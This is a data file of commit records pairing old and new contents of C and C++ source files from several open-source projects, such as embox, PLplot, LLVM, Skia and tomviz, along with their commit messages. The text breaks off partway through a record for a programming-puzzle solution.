{"commit":"e0aaf216fbf480f46f78b9c4ecca9dd7da682811","old_file":"src\/compat\/posix\/include\/dirent.h","new_file":"src\/compat\/posix\/include\/dirent.h","old_contents":"\/**\n *\n * @date 23.11.2012\n * @author Alexander Kalmuk\n *\/\n\n#ifndef DIRENT_H_\n#define DIRENT_H_\n\n#include <sys\/types.h>\n#include <sys\/cdefs.h>\n\n__BEGIN_DECLS\n\n#define DIRENT_DNAME_LEN 40\n\nstruct dirent {\n\tino_t  d_ino;      \/* File serial number. *\/\n\tchar   d_name[DIRENT_DNAME_LEN]; \/* Name of entry. *\/\n};\n\nstruct node;\nstruct directory {\n\tstruct dirent current;\n\tstruct node *node;\n\t\/\/struct tree_link *child_lnk;\n};\ntypedef struct directory DIR;\n\n\nextern int            closedir(DIR *);\n\nextern DIR           *opendir(const char *);\n\nextern struct dirent *readdir(DIR *);\n\nextern int            readdir_r(DIR *, struct dirent *, struct dirent **);\n\n__END_DECLS\n\n#endif \/* DIRENT_H_ *\/\n","new_contents":"\/**\n *\n * @date 23.11.2012\n * @author Alexander Kalmuk\n *\/\n\n#ifndef DIRENT_H_\n#define DIRENT_H_\n\n#include <sys\/types.h>\n#include <sys\/cdefs.h>\n\n__BEGIN_DECLS\n\n#define DIRENT_DNAME_LEN 40\n\nstruct dirent {\n\tino_t  d_ino;      \/* File serial number. *\/\n\tchar   d_name[DIRENT_DNAME_LEN]; \/* Name of entry. *\/\n};\n\nstruct node;\ntypedef struct {\n\tstruct dirent current;\n\tstruct node *node;\n\t\/\/struct tree_link *child_lnk;\n} DIR;\n\n\nextern int            closedir(DIR *);\n\nextern DIR           *opendir(const char *);\n\nextern struct dirent *readdir(DIR *);\n\nextern int            readdir_r(DIR *, struct dirent *, struct dirent **);\n\n__END_DECLS\n\n#endif \/* DIRENT_H_ *\/\n","subject":"Fix multiply difination of the struct directory","message":"extbld-porting: Fix multiply difination of the struct directory","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,Kefir0192\/embox,Kakadu\/embox,abusalimov\/embox,mike2390\/embox,embox\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,Kakadu\/embox,vrxfile\/embox-trik,mike2390\/embox,Kakadu\/embox,embox\/embox,mike2390\/embox,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,abusalimov\/embox,Kefir0192\/embox,abusalimov\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,Kefir0192\/embox,mike2390\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,gzoom13\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,embox\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,gzoom13\/embox,gzoom13\/embox,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,embox\/embox"}
{"commit":"9d1a3a942f093baf3d33c3fef7505db86bcf9fac","old_file":"bindings\/python\/plmodule.h","new_file":"bindings\/python\/plmodule.h","old_contents":"#include <Python.h>\n#include <arrayobject.h>\t\n#include \"plplot\/plplot.h\"\t\n#include \"plplot\/plplotP.h\"\n\n#if defined(PL_DOUBLE) || defined(DOUBLE)\n#define PL_ARGS(a, b) (a)\n#define PyArray_PLFLT PyArray_DOUBLE\n#else\n#define PL_ARGS(a, b) (b)\n#define PyArray_PLFLT PyArray_FLOAT\n#endif\n\n#define TRY(E) if(! (E)) return NULL\n\nint pl_PyArray_AsFloatArray (PyObject **, PLFLT **, PLINT *);\nint pl_PyArray_AsIntArray (PyObject **, PLINT **, PLINT *);\nint pl_PyArray_AsFloatMatrix (PyObject **, PLINT*, PLINT*, PLFLT ***);\nint pl_PyList_AsStringArray (PyObject *, char ***, int *);\nint pl_PyList_SetFromStringArray (PyObject *, char **, int);\n\nPLFLT pyf2eval2( PLINT ix, PLINT iy, PLPointer plf2eval_data );\n","new_contents":"#include <Python.h>\n\/* Change this to the recommended\n#include <Numeric\/arrayobject.h> \n once we no longer support python1.5 *\/\n#include <arrayobject.h>\t\n#include \"plplot\/plplot.h\"\t\n#include \"plplot\/plplotP.h\"\n\n#if defined(PL_DOUBLE) || defined(DOUBLE)\n#define PL_ARGS(a, b) (a)\n#define PyArray_PLFLT PyArray_DOUBLE\n#else\n#define PL_ARGS(a, b) (b)\n#define PyArray_PLFLT PyArray_FLOAT\n#endif\n\n#define TRY(E) if(! (E)) return NULL\n\nint pl_PyArray_AsFloatArray (PyObject **, PLFLT **, PLINT *);\nint pl_PyArray_AsIntArray (PyObject **, PLINT **, PLINT *);\nint pl_PyArray_AsFloatMatrix (PyObject **, PLINT*, PLINT*, PLFLT ***);\nint pl_PyList_AsStringArray (PyObject *, char ***, int *);\nint pl_PyList_SetFromStringArray (PyObject *, char **, int);\n\nPLFLT pyf2eval2( PLINT ix, PLINT iy, PLPointer plf2eval_data );\n","subject":"Comment the current arrayobject.h situation. Right now for Numpy packages that are consistent with python-1.5, this file could be a number of places relative to \/usr\/include\/python$version so configure must look specifically for it. However, later Numpy packages consistent with python2.x always put it in a standard location of \/usr\/include\/python$version\/Numeric. Thus, the relative location of arrayobject.h to the normal python includes is consistent, and we will no longer have to look specifically for this file once we stop supporting python-1.5.","message":"Comment the current arrayobject.h situation.  Right now for Numpy packages\nthat are consistent with python-1.5, this file could be a number of places\nrelative to \/usr\/include\/python$version so configure must look specifically\nfor it. However, later Numpy packages consistent with python2.x always put\nit in a standard location of \/usr\/include\/python$version\/Numeric.  Thus, the\nrelative location of arrayobject.h to the normal python includes is\nconsistent, and we will no longer have to look specifically for this file\nonce we stop supporting python-1.5.\n\nsvn path=\/trunk\/; revision=3687\n","lang":"C","license":"lgpl-2.1","repos":"FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot"}
{"commit":"a6d12c298014af99c12d1efe29eb19216ae4aef8","old_file":"src\/native\/test\/KeilTest\/Logger.c","new_file":"src\/native\/test\/KeilTest\/Logger.c","old_contents":"#include \"AceUnitLogging.h\"\n\n#ifdef ACEUNIT_LOG_RUNNER\n\/** @see TestLogger_t.runnerStarted *\/\nvoid logRunnerStarted()\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_SUITE\n\/** @see TestLogger_t.suiteStarted *\/\nvoid logSuiteStarted()\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_FIXTURE\n\/** @see TestLogger_t.fixtureStarted *\/\nvoid logFixtureStarted(const FixtureId_t fixture)\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_TESTCASE\n\/** @see TestLogger_t.testCaseStarted *\/\nvoid logTestCaseStarted(TestCaseId_t testCase)\n{\n}\n#endif\n\n\/** @see TestLogger_t.testCaseCailed *\/\nvoid logTestCaseFailed(const AssertionError_t *error)\n{\n}\n\n#ifdef ACEUNIT_LOG_TESTCASE\n\/** @see TestLogger_t.testCaseEnded *\/\nvoid logTestCaseEnded(TestCaseId_t testCase)\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_FIXTURE\nvoid logFixtureEnded(const FixtureId_t fixture)\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_SUITE\n\/** @see TestLogger_t.suiteEnded *\/\nvoid logSuiteEnded()\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_RUNNER\n\/** @see TestLogger_t.runnerEnded *\/\nvoid logRunnerEnded()\n{\n}\n#endif\n\n\/** This Logger. *\/\nAceUnitNewLogger(\n    loggerStub, \/* CHANGE THIS NAME!!! *\/\n    logRunnerStarted,\n    logSuiteStarted,\n    logFixtureStarted,\n    logTestCaseStarted,\n    logTestCaseFailed,\n    logTestCaseEnded,\n    logFixtureEnded,\n    logSuiteEnded,\n    logRunnerEnded\n);\n\nTestLogger_t *globalLogger = &loggerStub; \/* XXX Hack. Remove. *\/\n\n","new_contents":"#include \"AceUnitLogging.h\"\n\n#ifdef ACEUNIT_LOG_RUNNER\n\/** @see TestLogger_t.runnerStarted *\/\nvoid logRunnerStarted()\n{\n}\n#endif\n\n#ifdef ACEUNIT_LOG_RUNNER\n\/** @see TestLogger_t.runnerEnded *\/\nvoid logRunnerEnded()\n{\n}\n#endif\n\n\/** This Logger. *\/\nAceUnitNewLogger(\n    loggerStub, \/* CHANGE THIS NAME!!! *\/\n    logRunnerStarted,\n    NULL,\n    NULL,\n    NULL,\n    NULL,\n    NULL,\n    NULL,\n    NULL,\n    logRunnerEnded\n);\n\nTestLogger_t *globalLogger = &loggerStub; \/* XXX Hack. Remove. *\/\n\n","subject":"Remove some compiler warnings for C251.","message":"Remove some compiler warnings for C251.\n","lang":"C","license":"bsd-3-clause","repos":"christianhujer\/aceunit,christianhujer\/aceunit,christianhujer\/aceunit"}
{"commit":"b266bef9100ffb6915c1367ca761a6cc67bf1283","old_file":"tomviz\/pybind11\/PybindVTKTypeCaster.h","new_file":"tomviz\/pybind11\/PybindVTKTypeCaster.h","old_contents":"","new_contents":"#ifndef pybind_extension_vtk_source_VTKTypeCaster_h\n#define pybind_extension_vtk_source_VTKTypeCaster_h\n\n#include <pybind11\/pybind11.h>\n\n#include <type_traits>\n\n#include \"vtkObjectBase.h\"\n#include \"vtkPythonUtil.h\"\n\n#define PYBIND11_VTK_TYPECASTER(VTK_OBJ)                                \\\n  namespace pybind11 {                                                  \\\n    namespace detail {                                                  \\\n    template <>                                                         \\\n  struct type_caster<VTK_OBJ> {                                         \\\n  protected:                                                            \\\nVTK_OBJ *value;                                                         \\\npublic:                                                                 \\\nstatic PYBIND11_DESCR name() { return type_descr(_(#VTK_OBJ)); }        \\\nstatic handle cast(const VTK_OBJ *src, return_value_policy policy,      \\\n                   handle parent) {                                     \\\n  return cast(*src, policy, parent);                                    \\\n}                                                                       \\\noperator VTK_OBJ *() { return value; }                                  \\\noperator VTK_OBJ &() { return *value; }                                 \\\ntemplate <typename _T> using cast_op_type =                             \\\n  pybind11::detail::cast_op_type<_T>;                                   \\\nbool load(handle src, bool) {                                           \\\n  value = dynamic_cast< VTK_OBJ *>(                                     \\\n    vtkPythonUtil::GetPointerFromObject(src.ptr(), #VTK_OBJ));          \\\n  if (!value) {                                                         \\\n    PyErr_Clear();                                                      \\\n    throw reference_cast_error();                                       \\\n  }                                                                     \\\n  return value != nullptr;                                              \\\n}                                                                       \\\nstatic handle cast(const VTK_OBJ& src, return_value_policy, handle) {   \\\n  return vtkPythonUtil::GetObjectFromPointer(                           \\\n    const_cast< VTK_OBJ *>(&src));                                      \\\n}                                                                       \\\n};                                                                      \\\n}}\n\n#endif\n","subject":"Add VTK type caster to convert VTK wrapped classes","message":"Add VTK type caster to convert VTK wrapped classes\n\nThis type caster from SMTK manages converting VTK wrapped class into\nthe appropriate VTK class on the C++ side.\n","lang":"C","license":"bsd-3-clause","repos":"OpenChemistry\/tomviz,mathturtle\/tomviz,OpenChemistry\/tomviz,OpenChemistry\/tomviz,OpenChemistry\/tomviz,mathturtle\/tomviz,mathturtle\/tomviz"}
{"commit":"8aa16932e265e483217d9a5fabfb8a8c26cbed15","old_file":"src\/internal\/Hash.h","new_file":"src\/internal\/Hash.h","old_contents":"","new_contents":"#ifndef ARBITER_HASH_H\n#define ARBITER_HASH_H\n\n#ifndef __cplusplus\n#error \"This file must be compiled as C++.\"\n#endif\n\n#include <functional>\n#include <type_traits>\n\nnamespace Arbiter {\n\ntemplate<typename T>\nsize_t hashOf (const T &value)\n{\n  return std::hash<T>()(value);\n}\n\n}\n\n#endif\n","subject":"Add convenience function for hashing arbitrary types","message":"Add convenience function for hashing arbitrary types\n","lang":"C","license":"mit","repos":"jspahrsummers\/Arbiter,jspahrsummers\/Arbiter,ArbiterLib\/Arbiter,jspahrsummers\/Arbiter,ArbiterLib\/Arbiter,jspahrsummers\/Arbiter,ArbiterLib\/Arbiter,ArbiterLib\/Arbiter"}
{"commit":"60f560824bf9fb6ec9148f5b36eae83827b5de42","old_file":"test2\/code_gen\/dead_code_elim.c","new_file":"test2\/code_gen\/dead_code_elim.c","old_contents":"\/\/ RUN: %ocheck 3 %s\n\ng()\n{\n\treturn 3;\n}\n\nmain()\n{\n\tif(0){\n\t\tf(); \/\/ shouldn't hit a linker error here - dead code\na:\n\t\treturn g();\n\t}\n\n\tgoto a;\n}\n","new_contents":"\/\/ RUN: %ocheck 3 %s -g\n\/\/ test debug emission too\n\ng()\n{\n\treturn 3;\n}\n\nmain()\n{\n\tif(0){\n\t\tint i;\n\t\tf(); \/\/ shouldn't hit a linker error here - dead code\na:\n\t\ti = 2;\n\t\treturn g(i);\n\t}\n\n\tgoto a;\n}\n","subject":"Test debug label emission with local variables","message":"Test debug label emission with local variables\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"1c4ea5e3d584a3344182d41e286ecbb9967d841a","old_file":"src\/includes\/TritonTypes.h","new_file":"src\/includes\/TritonTypes.h","old_contents":"\/*\n**  Copyright (C) - Triton\n**\n**  This program is under the terms of the LGPLv3 License.\n*\/\n\n\n#ifndef   TRITONTYPES_H\n#define   TRITONTYPES_H\n#include <boost\/multiprecision\/cpp_int.hpp>\n#include <boost\/numeric\/conversion\/cast.hpp>\n#define BIT_MAX 512\n\ntypedef unsigned char                       uint8;\ntypedef unsigned short                      uint16;\ntypedef unsigned int                        uint32;\ntypedef unsigned long long                  uint64;\ntypedef boost::multiprecision::uint128_t    uint128;\ntypedef boost::multiprecision::uint512_t    uint512;\n\ntypedef signed char                         sint8;\ntypedef signed short                        sint16;\ntypedef signed int                          sint32;\ntypedef signed long long                    sint64;\ntypedef boost::multiprecision::int128_t     sint128;\ntypedef boost::multiprecision::int512_t     sint512;\n\n\n#endif     \/* !TRITONTYPES_H *\/\n","new_contents":"\/*\n**  Copyright (C) - Triton\n**\n**  This program is under the terms of the LGPLv3 License.\n*\/\n\n\n#ifndef   TRITONTYPES_H\n#define   TRITONTYPES_H\n\n#include <boost\/multiprecision\/cpp_int.hpp>\n#include <boost\/numeric\/conversion\/cast.hpp>\n\n#define BIT_MAX 512\n\ntypedef unsigned char                       uint8;\ntypedef unsigned short                      uint16;\ntypedef unsigned int                        uint32;\ntypedef boost::multiprecision::uint64 _t    uint64;\ntypedef boost::multiprecision::uint128_t    uint128;\ntypedef boost::multiprecision::uint256_t    uint256;\ntypedef boost::multiprecision::uint512_t    uint512;\n\ntypedef signed char                         sint8;\ntypedef signed short                        sint16;\ntypedef signed int                          sint32;\ntypedef boost::multiprecision::int64 _t     sint64;\ntypedef boost::multiprecision::int128_t     sint128;\ntypedef boost::multiprecision::int256_t     sint256;\ntypedef boost::multiprecision::int512_t     sint512;\n\n#endif     \/* !TRITONTYPES_H *\/\n","subject":"Use boost multiprecision even for 64b","message":"Use boost multiprecision even for 64b\n","lang":"C","license":"apache-2.0","repos":"JonathanSalwan\/Triton,JonathanSalwan\/Triton,JonathanSalwan\/Triton,JonathanSalwan\/Triton,JonathanSalwan\/Triton"}
{"commit":"1b9e6ae6667c81d2687ff665925fa953b93135ae","old_file":"pintool\/boost_interprocess.h","new_file":"pintool\/boost_interprocess.h","old_contents":"\/* Headers needed for multiprocess communication through boost interprocess.\n * This needs to be included BEFORE anything referencing machine.h,\n * or macro definitions from machine.h would mess template args.\n *\/\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wnarrowing\"\n#pragma GCC diagnostic ignored \"-Wunused-local-typedefs\"\n#pragma GCC diagnostic ignored \"-Wmaybe-uninitialized\"\n\n#include <boost\/interprocess\/containers\/deque.hpp>\n#include <boost\/interprocess\/containers\/string.hpp>\n#include <boost\/interprocess\/containers\/map.hpp>\n#include <boost\/interprocess\/containers\/vector.hpp>\n#include <boost\/unordered_map.hpp>\n\n#include <boost\/interprocess\/managed_shared_memory.hpp>\n#include <boost\/interprocess\/managed_mapped_file.hpp>\n#include <boost\/interprocess\/shared_memory_object.hpp>\n#include <boost\/interprocess\/allocators\/allocator.hpp>\n#include <boost\/interprocess\/interprocess_fwd.hpp>\n#include <boost\/interprocess\/sync\/named_mutex.hpp>\n\n#pragma GCC diagnostic pop\n\n#include \"shared_map.h\"\n#include \"shared_unordered_map.h\"\n","new_contents":"\/* Headers needed for multiprocess communication through boost interprocess.\n * This needs to be included BEFORE anything referencing machine.h,\n * or macro definitions from machine.h would mess template args.\n *\/\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wnarrowing\"\n#pragma GCC diagnostic ignored \"-Wunused-local-typedefs\"\n#pragma GCC diagnostic ignored \"-Wmaybe-uninitialized\"\n#pragma GCC diagnostic ignored \"-Wdeprecated-declarations\"\n\n#include <boost\/interprocess\/containers\/deque.hpp>\n#include <boost\/interprocess\/containers\/string.hpp>\n#include <boost\/interprocess\/containers\/map.hpp>\n#include <boost\/interprocess\/containers\/vector.hpp>\n#include <boost\/unordered_map.hpp>\n\n#include <boost\/interprocess\/managed_shared_memory.hpp>\n#include <boost\/interprocess\/managed_mapped_file.hpp>\n#include <boost\/interprocess\/shared_memory_object.hpp>\n#include <boost\/interprocess\/allocators\/allocator.hpp>\n#include <boost\/interprocess\/interprocess_fwd.hpp>\n#include <boost\/interprocess\/sync\/named_mutex.hpp>\n\n#pragma GCC diagnostic pop\n\n#include \"shared_map.h\"\n#include \"shared_unordered_map.h\"\n","subject":"Add ignore warning pragma for deprecated declarations.","message":"Add ignore warning pragma for deprecated declarations.\n","lang":"C","license":"bsd-3-clause","repos":"s-kanev\/XIOSim,s-kanev\/XIOSim,s-kanev\/XIOSim,s-kanev\/XIOSim"}
{"commit":"011cf09ddd3cf759de55ff1f95ef37a3f04c70c9","old_file":"test\/CFrontend\/bit-accurate-int.c","new_file":"test\/CFrontend\/bit-accurate-int.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - \/dev\/null\n\/\/ XFAIL: *\n\n#define ATTR_BITS(N) __attribute__((bitwidth(N))) \n\ntypedef int ATTR_BITS( 4) My04BitInt;\ntypedef int ATTR_BITS(16) My16BitInt;\ntypedef int ATTR_BITS(17) My17BitInt;\ntypedef int ATTR_BITS(37) My37BitInt;\ntypedef int ATTR_BITS(65) My65BitInt;\n\nstruct MyStruct {\n  My04BitInt i4Field;\n  short ATTR_BITS(12) i12Field;\n  long ATTR_BITS(17) i17Field;\n  My37BitInt i37Field;\n};\n\nMy37BitInt doit( short ATTR_BITS(23) num) {\n  My17BitInt i;\n  struct MyStruct strct;\n  int bitsize1 = sizeof(My17BitInt);\n  int __attribute__((bitwidth(9))) j;\n  int bitsize2 = sizeof(j);\n  int result = bitsize1 + bitsize2;\n  strct.i17Field = result;\n  result += sizeof(struct MyStruct);\n  return result;\n}\n\nint\nmain ( int argc, char** argv)\n{\n  return (int ATTR_BITS(32)) doit((short ATTR_BITS(23))argc);\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - \/dev\/null 2>&1 > \/dev\/null | \\\n\/\/ RUN:   not grep warning\n\/\/ XFAIL: *\n\n#define ATTR_BITS(N) __attribute__((bitwidth(N))) \n\ntypedef int ATTR_BITS( 4) My04BitInt;\ntypedef int ATTR_BITS(16) My16BitInt;\ntypedef int ATTR_BITS(17) My17BitInt;\ntypedef int ATTR_BITS(37) My37BitInt;\ntypedef int ATTR_BITS(65) My65BitInt;\n\nstruct MyStruct {\n  My04BitInt i4Field;\n  short ATTR_BITS(12) i12Field;\n  long ATTR_BITS(17) i17Field;\n  My37BitInt i37Field;\n};\n\nMy37BitInt doit( short ATTR_BITS(23) num) {\n  My17BitInt i;\n  struct MyStruct strct;\n  int bitsize1 = sizeof(My17BitInt);\n  int __attribute__((bitwidth(9))) j;\n  int bitsize2 = sizeof(j);\n  int result = bitsize1 + bitsize2;\n  strct.i17Field = result;\n  result += sizeof(struct MyStruct);\n  return result;\n}\n\nint\nmain ( int argc, char** argv)\n{\n  return (int ATTR_BITS(32)) doit((short ATTR_BITS(23))argc);\n}\n","subject":"Make this test actually test what its supposed to test.","message":"Make this test actually test what its supposed to test.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@33369 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm"}
{"commit":"465819d7c20d1f80d71e9b219dcd02e812bc7540","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 92\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 93\n#endif\n","subject":"Update Skia milestone to 93","message":"Update Skia milestone to 93\n\nChange-Id: Ib9a9832dbd63b6a306f5c955f4528b195c29c71f\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/411278\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"530e6a93a7a953a460502a28a6733d889a245da0","old_file":"src\/physics\/state.h","new_file":"src\/physics\/state.h","old_contents":"#ifndef ZOMBIE_STATE_H\n#define ZOMBIE_STATE_H\n\n#include \"box2ddef.h\"\n\nnamespace zombie {\n\n\tstruct State {\n\t\tPosition position_{0, 0};\n\t\tVelocity velocity_{0, 0};\n\t\tfloat angle_{0.f};\n\t\tfloat anglularVelocity_{0.f};\n\t};\n\n}\n\n#endif\n","new_contents":"#ifndef ZOMBIE_STATE_H\n#define ZOMBIE_STATE_H\n\n#include \"box2ddef.h\"\n\nnamespace zombie {\n\n\tstruct State {\n\t\tPosition position_;\n\t\tVelocity velocity_;\n\t\tfloat angle_;\n\t\tfloat anglularVelocity_;\n\t};\n\n}\n\n#endif\n","subject":"Make State struct a clean POD strcut","message":"Make State struct a clean POD strcut\n","lang":"C","license":"mit","repos":"mwthinker\/Zombie"}
{"commit":"41a44d0765463bce34808c201e39ad2595f400b9","old_file":"Source\/Version.h","new_file":"Source\/Version.h","old_contents":"#ifndef Version_h\n#define Version_h\n\n#define BFARCHIVE_COMMA_SEPARATED_VERSION 3,0,0,0\n#define BFARCHIVE_VERSION_STRING \"3.0.0\"\n\n#endif\n","new_contents":"#ifndef Version_h\n#define Version_h\n\n#define BFARCHIVE_COMMA_SEPARATED_VERSION 9,1,0,0\n#define BFARCHIVE_VERSION_STRING \"9.1.0\"\n\n#endif\n","subject":"Bump version to 9.1.0 to avoid confusion","message":"Bump version to 9.1.0 to avoid confusion\n","lang":"C","license":"apache-2.0","repos":"bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive"}
{"commit":"1416862d7c9382a58813f0609c4d4d1c858724c8","old_file":"include\/llvm\/ExecutionEngine\/GenericValue.h","new_file":"include\/llvm\/ExecutionEngine\/GenericValue.h","old_contents":"\/\/===-- GenericValue.h - Represent any type of LLVM value -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The GenericValue class is used to represent an LLVM value of arbitrary type.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef GENERIC_VALUE_H\n#define GENERIC_VALUE_H\n\n#include \"llvm\/Support\/DataTypes.h\"\n\nnamespace llvm {\n\ntypedef uintptr_t PointerTy;\n\nunion GenericValue {\n  bool            Int1Val;\n  unsigned char   Int8Val;\n  unsigned short  Int16Val;\n  unsigned int    Int32Val;\n  uint64_t        Int64Val;\n  double          DoubleVal;\n  float           FloatVal;\n  struct { unsigned int first; unsigned int second; } UIntPairVal;\n  PointerTy       PointerVal;\n  unsigned char   Untyped[8];\n\n  GenericValue() {}\n  GenericValue(void *V) {\n    PointerVal = (PointerTy)(intptr_t)V;\n  }\n};\n\ninline GenericValue PTOGV(void *P) { return GenericValue(P); }\ninline void* GVTOP(const GenericValue &GV) {\n  return (void*)(intptr_t)GV.PointerVal;\n}\n\n} \/\/ End llvm namespace\n#endif\n","new_contents":"\/\/===-- GenericValue.h - Represent any type of LLVM value -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The GenericValue class is used to represent an LLVM value of arbitrary type.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef GENERIC_VALUE_H\n#define GENERIC_VALUE_H\n\n#include \"llvm\/Support\/DataTypes.h\"\n\nnamespace llvm {\n\ntypedef uintptr_t PointerTy;\nclass APInt;\nclass Type;\n\nunion GenericValue {\n  bool            Int1Val;\n  unsigned char   Int8Val;\n  unsigned short  Int16Val;\n  unsigned int    Int32Val;\n  uint64_t        Int64Val;\n  APInt          *APIntVal;\n  double          DoubleVal;\n  float           FloatVal;\n  struct { unsigned int first; unsigned int second; } UIntPairVal;\n  PointerTy       PointerVal;\n  unsigned char   Untyped[8];\n\n  GenericValue() {}\n  GenericValue(void *V) {\n    PointerVal = (PointerTy)(intptr_t)V;\n  }\n};\n\ninline GenericValue PTOGV(void *P) { return GenericValue(P); }\ninline void* GVTOP(const GenericValue &GV) {\n  return (void*)(intptr_t)GV.PointerVal;\n}\n\n} \/\/ End llvm namespace\n#endif\n","subject":"Add APIntVal as a possible GenericeValue.","message":"Add APIntVal as a possible GenericeValue.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@34879 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"dc2eb3a8e3c7535fea57932e8c6c35771b8724aa","old_file":"strings\/gemstones.c","new_file":"strings\/gemstones.c","old_contents":"","new_contents":"\/*\nProblem Statement\n\nJohn has discovered various rocks. Each rock is composed of various elements, and each element is represented by a lower-case Latin letter from 'a' to 'z'. An element can be present multiple times in a rock. An element is called a gem-element if it occurs at least once in each of the rocks.\n\nGiven the list of N rocks with their compositions, display the number of gem-elements that exist in those rocks.\n\nInput Format\n\nThe first line consists of an integer, N, the number of rocks. \nEach of the next N lines contains a rock's composition. Each composition consists of lower-case letters of English alphabet.\n\nConstraints \n1≤N≤100 \nEach composition consists of only lower-case Latin letters ('a'-'z'). \n1≤ length of each composition ≤100\nOutput Format\n\nPrint the number of gem-elements that are common in these rocks. If there are none, print 0.\n\nSample Input\n\n3\nabcdde\nbaccd\neeabg\nSample Output\n\n2\nExplanation\n\nOnly \"a\" and \"b\" are the two kinds of gem-elements, since these are the only characters that occur in every rock's 